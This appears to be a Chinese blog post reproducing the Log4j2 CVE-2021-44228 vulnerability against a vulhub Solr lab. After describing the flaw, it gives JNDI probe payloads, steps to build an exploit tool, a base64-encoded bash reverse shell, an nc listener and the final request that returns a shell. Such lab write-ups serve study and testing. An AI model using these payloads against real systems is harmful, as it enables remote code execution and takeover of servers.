Apache Log4j复现


CVE-2021-44228 Apache Log4j 远程代码执行漏洞

漏洞描述

2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

影响范围

Apache Log4j2 2.x <= 2.14.1

Apache Log4j2 2.15.0-rc1(补丁绕过)

漏洞环境搭建

靶机ubuntu:192.168.3.151

使用vulhub

cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

在攻击段浏览器输入网址

http://192.168.3.151:8983/solr/admin/cores?action=1

image-20220422154732492

image-20220422154758417

构造dnslog payload参数

打开dnslog,点击这个,获取一个网址

image-20220422154951530

然后构造

${jndi:ldap://kz46l0.dnslog.cn}

在浏览器中输入

http://192.168.3.151:8983/solr/admin/cores?action=${jndi:ldap://kz46l0.dnslog.cn}

发现在dnslog中出现信息,说明有这个漏洞

image-20220422155302798

攻击

接下来使用工具

安装编译

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests //编译

编译完成后就可以构造攻击参数了

构造连接参数

bash -i >& /dev/tcp/192.168.3.134/6969 0>&1

base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzY5NjkgMD4mMQ==

然后进入target目录下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.3.134

image-20220422162953694

监听端口6969

nc -lvvp 6969

进行payload攻击

http://192.168.3.151:8983/solr/admin/cores?action=${jndi:rmi://192.168.3.134:1099/edptqq}

nc连接上了

image-20220422163325153


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录